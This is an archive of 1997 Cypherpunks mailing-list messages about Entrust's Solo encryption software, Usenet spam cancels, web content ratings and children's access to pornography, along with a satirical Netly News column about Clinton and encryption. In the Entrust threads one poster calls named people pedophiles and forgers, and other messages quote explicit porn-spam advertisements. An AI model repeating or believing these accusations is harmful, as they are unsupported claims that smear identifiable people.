>> Entrust Technologies (www.entrust.com) has made Solo available for
>> download, free . . .

>I ask everyone on these two forums

Cypherpunks & Freedom Knights. Both should be very happy to
see strong encryption becoming more widely available.

>to inform Northern Telecom Forgers / Bell North Forgery Research
>/ Entrust that we will boycott their "security" products

Snarky quotes not required. This isn't snake oil. There is plenty of
solid analysis behind these products. Check references on Entrust
web site.

>as long they continue to employ the child-molesting
>pedophile Chris R. Lewis - the biggest forger on Usenet.

What this scum is actually upset about is Chris Lewis cancelling
spam. He calls that "forgery" because the spammer's name goes
in the sender field of the cancel message. Nonsense.

Dimitri, the "forgeries" are going to continue until someone comes
up with a better way of dealing with spam. If you have suggestions,
post them to some of the news,admin.net-abuse.* groups or to
the Freedom Knights list.

The crap about pedophilia is also, of course, nonsense. It seems
to be a favorite slur lately with several grossly misguided people
who think calling people they dislike pedophiles is a way to
"defend freedom of speech".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 31 Jul 1997 03:31:14 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: <Pine.GSO.3.95.970730115813.3330F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Jamie,

It generally is not morally wrong to take steps to prevent children from
having access to pornography, provided they're your children or you have a
custodial relationship. 

But, as you say, that generality does not excuse all actions done in the
name of protecting children. For instance, murdering the pornographers to
protect children is not morally justified. 

In other words, don't infringe on the rights of someone else.

As for your point about it being immoral not to protect children, your
statement is so vague as to be meaningless. Of COURSE we want to protect
children. But how? Protecting them from racism by banning Tom Sawyer or
prevening them from reading Huck Finn? Protecting them from "porn" by not
letting them look at nude sculpture?

This is a core "family values" issue. Let each parent protect their
children the best way they can. No government intervention is generally
needed.

-Declan



On Wed, 30 Jul 1997, James Love wrote:

> Paul Bradley wrote:
> > 
> > >    What is your strategy to avoid RSACi type systems?  To persuade
> > > parents that there is no need to censor kids from graphic images of
> > > sexual acts?  Good luck.
> > 
> > Persuation is not the point, it is not necessary to persuade people
> > that
> > censorship is morally wrong in order for it to be so.
> 
>      Well, if persuasion is "not necessary," then why do you care about
> anyone's views on this?
> 
>     On your other point, I really don't agree that is morally wrong to
> take steps to prevent children from having access to pornography. 
> People may propose ways of doing this which are objectionable, but the
> basic goal is hardly immoral.  Indeed, many think it is immoral not to
> protect children.
> 
>                 Jamie
> 
> _______________________________________________________
> James Love | Center for Study of Responsive Law
> P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
> http://www.cptech.org | love@cptech.org
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Thu, 31 Jul 1997 03:29:05 +0800
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: <Pine.LNX.3.95.970730115207.32596A-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 30 Jul 1997, James Love wrote:

> Paul Bradley wrote:
> > 
> > >    What is your strategy to avoid RSACi type systems?  To persuade
> > > parents that there is no need to censor kids from graphic images of
> > > sexual acts?  Good luck.
> > 
> > Persuation is not the point, it is not necessary to persuade people
> > that
> > censorship is morally wrong in order for it to be so.
> 
>      Well, if persuasion is "not necessary," then why do you care about
> anyone's views on this?
> 
>     On your other point, I really don't agree that is morally wrong to
> take steps to prevent children from having access to pornography. 
> People may propose ways of doing this which are objectionable, but the
> basic goal is hardly immoral.  Indeed, many think it is immoral not to
> protect children.

This makes an assumption that sexual material harms children.  Do you have
any data or studies that actually shows that to be true?

Curiosity about sex and sexuality is a normal part of growing up.
Protecting them from any sort of information on sex or sexuality does not
provide them any sort of service, and may in fact, cause them harm.

Pornography is a nice buzz word, but it hides the real issue.  Pictures
and words intended to describe sexual behaviour.  How this became such a
touchy issue is not due to any factual findings, but more due to moral and
emotional responses to the material by adults.  It is because of the
sheltering attitudes by the adults claiming the moral high ground that we
have so many people with confused attitudes about sex and sexuallity.
This is where the real harm comes in.  Ignorance helps no one.  (Except
the moralists pointing fingers and screaming "I told you so!".

The idea that children are somehow scarred and harmed by sexually explicit
material is without any foundation or evidence.  (Assuming they are able
to get real unfiltered information to make a correct descision and are not
getting guilt tripped for wanting that information.)

Note, I am not talking about sexual contact or any of the other boogie
men that the moralists and control freaks try to bring up.  Adolecence is
supposed to be a time to prepare for adulthood.  They are going to form
some sort of opinion one way or another.  If they get no information or
support before they are 18/21, they are going to wind up pretty screwed
up.


alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 31 Jul 1997 03:50:49 +0800
To: James Love <paul@fatmans.demon.co.uk>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.LNX.3.91.970728170606.884A-100000@fatmans.demon.co.uk>
Message-ID: <v03102804b005483ff78b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:25 PM -0700 7/30/97, James Love wrote:
>Paul Bradley wrote:
>> > Pissing, Fisting and beastiality! We go to great lengths to bring you
>> > the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
>> > Watch! Unfortunately, We can't bring you everything!
>> > 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K)
>> >
>> > Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!!
>> > The ultimate in anal, double anal, double penetration, sloppy oral, and
>> > gangbang action!!! 100% GUARANTEED free xrated pics Action!
>> >
>> > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
>>
>> We can clearly come to no agreement here as I cannot see any material
>> listed above which would be harmful in any way to a viewer, child or
>> not.
>
>   Paul. Do you *have* any children?  Jamie
>

The discussion is shifting, predictably, from the so-called "voluntary"
labeling standards to the real issue of what will be banned, mandatorily
rated as "adult" material, etc.

Regardless of who here has any children, and regardless of whether one
thinks bestiality, etc. is appropriate for one's own children, or the
children of others, and so on, the Real Issue is this:

How will a completely voluntary ratings system, and one which then of
necessity allows folks to apply their own notions of appropriateness,
protect children?

A truly voluntary system, with the ability to either not rate something or
to in fact label as one wishes, will not solve the problem James Love
apparently wants to solve.

The abuse a mandatory ratings system would do to the basic liberties of us
all is vastly too high a price to pay just to relieve parents of the
responsibility of monitoring what their children are doing and seeing.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 06:57:57 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707302128.RAA10233@mail.storm.ca>
Message-ID: <3.0.2.32.19970730124407.0098f250@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 5:28 PM 7/30/97 -0400, Sandy Harris wrote:
> . . . Perhaps more to the point, cancels conserve 
> resources on newservers.

That is like saying "by decreasing the human population 
by mass murder, our resources are conserved."  Censorship
is not justified by stating that it causes the information
to be reduced so as to lighten the load on a network.

> ...where on this scale do you start to object to my actions:
> 1) I use a killfile to ignore certain messages.
> 2) I program my personal newsserver to discard certain messages.
> 3) A group of us, by consensus, program our common newsserver...

Unanimous consent?

> 4) A system admin, with due notice to users, programs a 
> newserver.....

What constitutes "due notice" in the present context?
If an ISP were to advertise "Newsgroups censored through
forgery", then that would be "due notice".

> 5) A group of admins agree to jointly program their newsservers 
> so that some of them can cause all systems to discard messages.

Given the proposed "due notice" above, ISPs with such 
administrators are not likely to attract many customers.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 31 Jul 1997 01:34:05 +0800
To: cypherpunks@toad.com
Subject: Netly's Walter Miller talks crypto with President Clinton
Message-ID: <v03007804b005279a4e31@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



*************

Date: Wed, 30 Jul 1997 13:04:35 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: Netly's Walter Miller talks crypto with President Clinton
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/
ReSent-Date: Wed, 30 Jul 1997 13:12:16 -0400 (EDT)

Walter Miller is Netly's roving, raving, and notoriously misspelling
columnist. He's recently been keeping on top of cyber-rights issues.

Not long ago, Walter Miller had brunch with the Supreme Court justices, and
told them the dos and don'ts of web site design. "I also made sure to
sugest that the US Supreme Court get a password- protected Intranet too --
to post stuff like cafateria specials, snow days, even forums where they
coud flame eachother. Or maybe secretly play network Diablo on laptops
right there on the bench during boring testimony":

  http://pathfinder.com/netly/editorial/0,1012,1125,00.html

Then he took on the University of Memphis, which tried to wipe out a
student's "Old People" site. "Sections on the site include Geezer News,
(mostly newswire acounts of elderly motoring mishaps), and a humor page the
likes of this: Q: What's 1,000 feet long and smells like urine? A: The
conga line at Century Village":

  http://pathfinder.com/netly/editorial/0,1012,1196,00.html

Now Walter Miller writes about encryption, and his Granfather's long
history of crypto-talk with President Clinton (who apparently goes by the
alias BUBBA1)...

-Declan

***********

http://pathfinder.com/netly/editorial/0,1012,1227,00.html

The Netly News Network
Walter Miller (http://pathfinder.com/netly/wmiller/)
Trailer Trash on the Infobahn
for the week starting July 30, 1997

An Encrypted Freindship
by Walter Miller (thenetlynews@pathfinder.com)

  My Granfather isnt just a crankey old S.O.B. he's also a
  longtime F.O.B., or 'Freind Of Bill'; No, not Bill
  Gates--the slightley less inportant one: Bill Clinton. (The
  othor Bill probly HAS no freinds...Sorry, that was mean
  spirrited of me, and inspired out of jealousy--but atleast i
  can ADMIT it.)

       But Gramps and Bill Clinton realy ARE freinds.
  They met during the '72 Presidential race. Clinton was 26
  and George McGovorn's Texas campaign chair.
  Granfather was a low-ranking precinct leador. The two
  were tossin back coldies one night after a rubber chicken
  event at a motel out onthe I-10. Eyeing 2 bellbottomed
  chicks at the bar, Bill winked at Gramps; he winked back,
  scribbling with a pen on a napkin: "YOU TAKE THE
  YOUNG CUTIE. ILL TAKE THE OL' UGLY ONE".
  Both men nodded. Unable to read Grampy's scrawl, the
  gals never cought on. Thus began a 25-year freindship
  based on encryption which contineus to this day.

       Well, neithor man got lucky that night, and
  McGovern lost Texas in a 49-state landslide. (Granfather,
  a conservotive Democrat, ended up votting for Nixon).
  But encryption has come along way since. And so has the
  mop-topped boy from Hope.

       Not only did Granps let him keep his favvorite
  ballpoint pen, they both kept in touch. Last week they
  were in toutch allot. It was about the new Encryption bill
  that just passed Congress. Granps suported it while the
  President was agianst it. They hotly discussed it by e-mail
  for a few days, till this mesage arrived:

         Return-Path: whitehouse.gov
         Received: from (ENCRYPTED)
         Message-ID: (ENCRYPTED)
         X-Mailer: (ENCRYPTED)
         MIME-Version: 1.0
         Content-Type: text/plain;
         charset="us-ascii"
         Content-Trans-Encod: 7bit
         :
         From: "Bubba1"
         To: "Granpy"
         Subject: (ENCRYPTED)
         Date: Sun, 27 Jul 97 09:36:55
         -0400
         :
         Dear Sir:
         POTUS suggests e-mail is not the
         best forum for this discussion.
         Please meet POTUS tonite, 8PM,
         EDT in (ENCRYPTED) Chat. The
         regular place.
         :
         On behalf of POTUS,
         Your pal,
         :
         "VPOTUS"
         :
         P.S. Don't worry, POTUS tells me
         it won't take so long as to cut
         into the X-Files, which my
         (ENCRYPTED) sources tell me is
         a repeat anyway.
         :
         =-=-=-=-=-=-=-=-=-=-=-=
         This is my sig.
         tHIs iS mY SIg ON dRUGs
         =-=-=-=-=-=-=-=-=-=-=-=

  Of cuorse, "POTUS" is President of the United States and
  'VPOTUS' is Mr. Gore. (Just like most big inportant
  exetcutives in the private sector, there's always some
  low-level lacky handling the adminostrative end of his
  E-mail.)

       Later that evening, their convorsation contineud, but
  this time in chat:

         Granpy: YOU OUT THERE, BUBBA?
         Bubba1: Right here, Gramps.
         Sweet4U: Who else is out there?
         Prowler: I'm here. Whos there?
         Granpy: I TELL YUH, BUBBA I
         AIN'T GLOATING, BUT I'M GLAD
         ABOUT THET THAR NEW ENCRYPTION
         BILL.
         Bubba1: Well, Gramps, I did have
         reason to oppose it.
         Prowler: Hey Granpy--ALL CAPS
         are for SHOUTING ONLY
         Granpy: I AM SHOUTING
         Sweet4U: Bubba, age, M/F?
         Bubba1: Um...uh, well, Shucks...
         Prowler: Prowler here.
         (((BURP!))) Who's out there?

  Needless to say, this chat thread, like most, soon
  descended into the ininteligible drivol of a dozen voices
  saying nothing to no one in particulor.

       So Gramps and the Presidant took it private.

         Bubba1: Geez, that garbled
         chatroom drivel sounded like my
         last cabinet meeting.
         Granpy: NO WONDER REAGAN USED TO
         FALL ASLEEP IN HIS, HUH?
         Bubba1: LOL! Who needs
         encryption when you've got IRC
         chat!
         Granpy: LEVITY ASIDE MR. PREZ,
         BUT WHO NEEDS ENCRYPTION WHEN THE
         GOVORMINT HAS THE SOFTWARE KEYS?
         Bubba1: Oooh. That was cold,
         Granps.

  Yes, Granfather had hit a nerve with that one. The gist of
  the encryption bill was to allow US companies to export
  encryption technollogy. Right now America's ass is
  getting kicked in the world market cause we're not allowed
  to sell encyprtion software while foriegn competittors are
  alredy doing it. Mr. Clinton had opposed the bill, but
  would of alowed it only if the US Govorment--yes, the
  US Goverment was given access to the software keys to
  be able to crack the codes.

         Granpy: WHY DON'T WE ALL JUST
         SURRENDER OUR NET PASSWORDS, HUH?
         HOW 'BOUT OUR BANK ATM PASSWORDS,
         AND CREDIT CARD PINS?
         Bubba1: Come on, Gramps. I had
         the FBI and the DEA on my side on
         this, not to mention members of
         both parties. What about
         international spies? What about
         drug kingpins? They use encrypted
         technology.

  Uh, ecxuse me Mr. President, but spies and druglords
  also use the telephone and the U.S. Mail. And when you
  need to put badguys under survellance, you simply get a
  court ordor, and you do it. I have to agree with Granfather
  on this. And I cant help but think that mabye a little of the
  high-profile hand- wringing abbout encryptoin exports
  might be just some old fashionned low-tech fear of
  computers.

       And besides. Nothin personal, but I use my conputer
  for private corespondence. My browsing logs, purchasing
  habbits and credit card numbers are here too, and I dont
  want them falling into the wrong hands. Or, perhaps,
  falling onto the desk of some fat guy in the White House
  basement in charge of 'security' who no one
  remmemmbers hiring. Granfather relayed my concerns to
  the Prez.

         Bubba1: Is that what your
         grandson said? I feel his pain.
         Granpy: HE'LL BE FEELIN MINE ON
         HIS SKINNY ASS IF HE DONT GIT ME
         A BEER, LIKE I DONE ASKED HIM TO.
         Bubba1: LOL!

       In any case, their disagreement on this one isseu
  hasnt hurt Granfather's and Clinton's freindship any.
  Funny thing is, theyve relied on encryption to maintain it
  in secrecy. (A close freindship with Granfather is bound to
  be a politicol liability, if you think abbout it). And
  somhow I think the president is better at 'encryption' than
  he thinks--Ive ben readin in the papers about Whitewater
  for 5 years now: The president seems unscaithed, and I
  still dont know what the hell is going on.

         Bubba1: Do you think my loss on
         the encryption bill will hurt my
         approval rating?
         Granpy: YOU KIDDING? WHAT'RE YOU
         AT, 68 PERCENT? HELL, TWO MORE
         POINTS, YOU KIN START DATING
         AGINN, BOY.
         Bubba1: ROTFL! Seriously--you
         think this chatroom is secure?
         Granpy: YUP. UNLESS NEWT OR AL
         ARE HACKIN' IN.
         Bubba1: Those guys? Everything
         Al knows about computers he
         learned from his kids. And Newt
         still goes to Newsgroups for
         news.
         Granpy: YEH, THE NEWS IN
         BINARIES, I'D BETCHA.
         Bubba1: LOL! Hey, BTW, speaking
         of 'non-family fare' I
         accidentally erased that gross
         .wav file from last week. Can you
         send it again?
         Granpy: SEND IT? GIMME A MINUTE
         AND I'LL BE ABLE TO MAKE IT AGINN
         FOR YOU, LIVE.
         Bubba1: HAH! I'll leave you
         Newt's private phonemail; you can
         leave it for him there.
         Granpy: SO, BUBBA--D'YOU STILL
         LIKE ENCRYPTION?
         Bubba1: Know what, Grampy? I
         like privacy better. Handing
         over encryption keys to the
         government sucks.
         Granpy: HERE IT COMES...NOW,
         BUBBA, NOW
         Bubba1: OH! Hold that, er
         "thought" another second, I'll
         give you Newt's secret
         number...typing...Got a pencil?
         area code (202) (ENCRYPTED)...

  ...And this is where the convorsation seemed to end. Or at
  least, it was the last I got of it that wasnt garboled.

###


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Jai Maharaj" <jai@mantra.com>
Date: Thu, 31 Jul 1997 07:37:19 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <3.0.2.32.19970730093753.007a0ba0@caprica.com>
Message-ID: <3.0.2.32.19970730132529.007dc410@caprica.com>
MIME-Version: 1.0
Content-Type: text/plain



At 4:03 PM 7/30/97 -0700, Paul Pomes wrote:
>> Yes, the removal of data from computer networks
>> through forgery is a crime. People who do so are criminals.
>>  -  Jai Maharaj

> Not if it's done through the normal operation of the protocol.
>  -  Paul Pomes

While there is a tendency to reconcile atrocities if they
are perpetrated long enough, there is serious doubt that
forgery and censorship are among them -- no, not in a world
that is beginning to learn about true freedom.

Jai Maharaj
jai@mantra.com
Om Shanti






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 31 Jul 1997 04:28:16 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <199707301555.LAA00073@mail.storm.ca>
Message-ID: <o31Nae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Sandy Harris" <sandy@storm.ca> writes:

> 
> Dr.Dimitri Vulis KOTM <dlv@bwalk.dm.com> writes:
> 
> 
> 
> >> Entrust Technologies (www.entrust.com) has made Solo available for
> >> download, free . . .
> 
> >I ask everyone on these two forums
> 
> Cypherpunks & Freedom Knights. Both should be very happy to
> see strong encryption becoming more widely available.

As opposed to snake oil peddled by the forgers who employ Chris Lewis.

> 
> >to inform Northern Telecom Forgers / Bell North Forgery Research
> >/ Entrust that we will boycott their "security" products
> 
> Snarky quotes not required. This isn't snake oil. There is plenty of
> solid analysis behind these products. Check references on Entrust
> web site.
> 
> >as long they continue to employ the child-molesting
> >pedophile Chris R. Lewis - the biggest forger on Usenet.
> 
> What this scum is actually upset about is Chris Lewis cancelling
> spam. He calls that "forgery" because the spammer's name goes
> in the sender field of the cancel message. Nonsense.

"Scum" applies to Chris lewis and Sandy Harris, both of whom have Web
pages dedicated to them at http://www.netscum.net/lewisc0.html and
../harriss0.html.  (While at it, check out gary Burnore's net.Scum
page at ../burnorg0.html.)

Chris Lewis forges cancels for Usenet articles posted by other people when
he doesn't like their contents.  'Forges' refers to Chris Lewis putting the
e-mail address of his victim in the Sender: field.  You can find numerous
examples of Chris Lewis forging cancels for articles that are not "spam"
by any definition on his Net.Scum page.

> Dimitri, the "forgeries" are going to continue until someone comes
> up with a better way of dealing with spam. If you have suggestions,
> post them to some of the news,admin.net-abuse.* groups or to
> the Freedom Knights list.
> 
> The crap about pedophilia is also, of course, nonsense. It seems
> to be a favorite slur lately with several grossly misguided people
> who think calling people they dislike pedophiles is a way to
> "defend freedom of speech".
> 

Sandy Harris sounds like a typical Usenet pedophile.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 31 Jul 1997 02:12:01 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.LNX.3.91.970728210826.884B-100000@fatmans.demon.co.uk>
Message-ID: <33DF81CF.1662D004@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> >    What is your strategy to avoid RSACi type systems?  To persuade
> > parents that there is no need to censor kids from graphic images of
> > sexual acts?  Good luck.
> 
> Persuation is not the point, it is not necessary to persuade people
> that
> censorship is morally wrong in order for it to be so.

     Well, if persuasion is "not necessary," then why do you care about
anyone's views on this?

    On your other point, I really don't agree that is morally wrong to
take steps to prevent children from having access to pornography. 
People may propose ways of doing this which are objectionable, but the
basic goal is hardly immoral.  Indeed, many think it is immoral not to
protect children.

                Jamie

_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 31 Jul 1997 02:35:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <Pine.LNX.3.96.970730083903.11314E-100000@fractal.mta.ca>
Message-ID: <97Jul30.141811edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 30 Jul 1997, Michael C Taylor wrote:

> Entrust Technologies (www.entrust.com) has made Solo available for
> download, free for 30-day evaluation & edu/non-profit. For Win95/NT.
> A mere $49 Cdn (~35 US) for commerical usage...
> 
> For e-mail / file encryption, digital signature
> 
> Solo uses 128-bit encryption, which is CAST-128, the royality-free
> algorithm invented at Entrust/NorTel. It also uses 1024-bit RSA public-key
> cryptography and has DES, Triple DES available. 

It would be interesting to know how they managed to do it.  The fine print
in the license says it cannot be exported from the US and Canada without a
license (which a second press release says they have, but doesn't say they
had to do anything to the program in order to obtain it).

> Also follows FIPS 140-1 validated security kernel. It is compatible with
> other Solo clients (of course), Entrust/Lite and Entrust. 
> 
> It looks like PGP Inc might have some decent competition. I assume that
> it won't have the market pentration of PGP, but at least it will make a
> dent and might force PGP Inc. to make their product robust and flexiable.

PGP 5 uses CAST (and 3DES and IDEA), with DH/DSA/SHA (or MD5 or RIPEM, and
with an RSA backward mode).  Does anyone know which hash algorithm
Entrust/Solo uses? 

> "Offer not valid in Libya, Iran, Iraq, Cuba, Angola, Syria, and North
> Korea"

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 31 Jul 1997 05:53:10 +0800
To: cypherpunks@toad.com
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33DF81CF.1662D004@cptech.org>
Message-ID: <19970730142759.44396@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jul 30, 1997 at 12:05:07PM -0700, Alan wrote:
[...]
> This makes an assumption that sexual material harms children.  Do you have
> any data or studies that actually shows that to be true?

[...]
> The idea that children are somehow scarred and harmed by sexually explicit
> material is without any foundation or evidence.  (Assuming they are able
> to get real unfiltered information to make a correct descision and are not
> getting guilt tripped for wanting that information.)

You have to define "harm", of course.  It's realitively easy to
describe physical harm, but psychological harm is far more complex. 
You are far better off avoiding that tack entirely, and rather think
in terms of behavior you want to promote or not promote.  So, for
example, are children who are exposed to sexually explicit material at
an early age more likely to go to jail in later years? I suspect we
both believe that there is zero correlation. 

> Note, I am not talking about sexual contact or any of the other boogie
> men that the moralists and control freaks try to bring up.  Adolecence is
> supposed to be a time to prepare for adulthood.  They are going to form
> some sort of opinion one way or another.  If they get no information or
> support before they are 18/21, they are going to wind up pretty screwed
> up.

A more interesting case can be made for exposure to violence, of
course.  There is (perhaps controversial) evidence that early exposure
to violent imagery increases the likelihood that a child will be a 
violent adult.

Anyway, those who say that parents should just more closely supervise 
their children must either not be parents, or have defective kids.  
It is a difficult job.  

The topology of the physical world makes it relatively easy to keep
your child away from adult bookstores, if that is your desire, but
cyberspace has a different topology that doesn't support a natural
segregation of neighborhoods. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 31 Jul 1997 06:17:21 +0800
To: declan@well.com
Subject: Netly News Fan Mail
Message-ID: <19970730220815.5319.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



It appears that the CPAC/Sewer folks have read the recent Netly News
article on their activities and were not pleased.  This little blurb
healines the "Sewer List" this morning.

-----Begin Officer Paladino Rant-----

July 29, 1997, I was told of an article that appeared on the Net.
It appeared on a Netly News site. Of course, its good reading if
you are a Boylover. Apparently the writer, like many reporters I
have known, likes to keep the pot stirring with coin phrases like
war, net.vigilantes and so on.

To give the article credibility he interviewed CPAC, NAMBLA,
ACLU. He also mention this writer but forgot to get a statement
from me and 100's of other groups that feel that child porn,
molesters and such have no place on the web.

In the article he links to a few sites showing young boys but he
forgot to link to the 1000's of sites showing young boys in the
nude. Why is that I ask. Well to keep the pot stirring. He claims
their is gay bashing going on, look on this site and others that
link here and you'll find no gay bashing.

You will see sites exposing young boys, as young as 4 years old,
nude. I, for one, can't not justify nude pictures of 4yr old boys
and girls. But the Boylovers insist this is their way of showing
love. AND, of course, we always get back to the Freedom of Speech
arguement.

You know that gigantic excuse for expression. We still have
Freedom of Speech in this counrty, while every other liberty is
falling by the wayside. As I read the article, I could see the
bias and I wonder why???? Maybe the reporter also has an agenda.
If he writes another article on this subject, it would be
interesting to see which Boylovers will be interviewed.
Apparently he has never been to the Sewer or maybe he has?

Freedom is a great thing and this is the greatest country in the
world. I wonder how many soldiers that gave their lifes fighting
for that freedom, had pictures of nude boys in their wallets,
instead of their families. Think about
that.......................

-----End Officer Paladino Rant-----

Will someone please buy this poor man a spell-checker? :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: James Love <love@cptech.org>
Date: Thu, 31 Jul 1997 03:36:42 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <Pine.LNX.3.91.970728170606.884A-100000@fatmans.demon.co.uk>
Message-ID: <33DF9522.3985417E@cptech.org>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> > Pissing, Fisting and beastiality! We go to great lengths to bring you
> > the Good Old Fashioned ALL AMERICAN Pornography, Just Like Dad Used To
> > Watch! Unfortunately, We can't bring you everything!
> > 55%   http://adult.mdc.ca/free/xxxp.html     (Size 4.3K)
> >
> > Absolutely the RAUNCHIEST NASTIEST Barely Legal Anal Bitches ANYWHERE!!
> > The ultimate in anal, double anal, double penetration, sloppy oral, and
> > gangbang action!!! 100% GUARANTEED free xrated pics Action!
> >
> > 55%   http://adult.mdc.ca/free/xratedp.html     (Size 4.5K)
> 
> We can clearly come to no agreement here as I cannot see any material
> listed above which would be harmful in any way to a viewer, child or
> not.

   Paul. Do you *have* any children?  Jamie

_______________________________________________________
James Love | Center for Study of Responsive Law
P.O. Box 19367 | Washington, DC 20036 | 202.387.8030
http://www.cptech.org | love@cptech.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Thu, 31 Jul 1997 06:45:46 +0800
To: Filtered Cypherpunks List <cypherpunks@toad.com>
Subject: Re: FCPUNX:Prior Restraint
Message-ID: <199707302229.PAA14450@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:18 AM 7/29/97 +0200, Anonymous wrote:
>  Ira Stohl and Kristina Hjelsand had been charged with obscenity for
> selling the controversial magazine "Answer Me!" a short-lived but
> legendary
> periodical that offered extremely politically incorrect articles about
> rape, among other subjects.

I read this magazine, and 95% of the views expressed in their
infamous rape issue were tediously PC.  Their thought crime was
that that they embraced debate on the topic, that they presented 
some alternate viewpoints, some of them fairly vile, 

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Thu, 31 Jul 1997 05:57:33 +0800
To: Kurt Starsinic <kstar@isinet.com>
Subject: Re: Yet another self-labeling system
In-Reply-To: <3.0.1.32.19970730170104.006a3948@[198.62.99.20]>
Message-ID: <33DFB441.59A0@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Kurt Starsinic wrote:
> 
>     I'm in favor of a ratings system; not one which indicates for whom a
> given page is suitable, but rather one which identifies the subject matter.
>  The Dewey Decimal System is a primitive example of such a system.

Technically the Dewey Decimal System in not a rating system, it's a
subject index.  It would make searching the web quite a bit easier.  It
could be as easy as this:

